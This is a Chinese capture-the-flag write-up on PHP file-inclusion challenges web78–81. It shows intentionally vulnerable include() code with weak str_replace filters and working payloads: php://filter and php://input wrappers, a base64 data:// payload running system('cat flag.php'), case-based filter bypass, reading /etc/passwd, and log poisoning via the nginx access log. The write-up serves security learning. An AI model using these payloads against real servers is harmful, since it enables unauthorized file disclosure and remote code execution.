【从0开始学web】78-88 文件包含
文件包含题,可以先了解一下文件包含漏洞
https://blog.csdn.net/yzl_007/article/details/120261435
web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
php://filter 伪协议 读取,条件:allow_url_include = on
payload:?file=php://filter/convert.base64-encode/resource=flag.php
php://input 协议

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的。
参考:https://www.cnblogs.com/endust/p/11804767.html
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
将php替换成???
?file=php://filter/convert.base64-encode/resource=flag.php php:// 会被替换,用不了,就用input:// 吧
str_replace 函数 区分大小写,可以大小写绕过,将上一题的php改为PHP即可

或者php://data 协议 ,将命令转义成base64
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
将data也替换 ,data://也用不了了,继续php://input

web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
冒号也被过滤了,伪协议用不了,日志包含getshell
?file=/etc/passwd 是可以回显的,再查看一下能不能找到日志

?file=/var/log/nginx/access.log 也是存在回显的

然后日志注入

#持续更新
|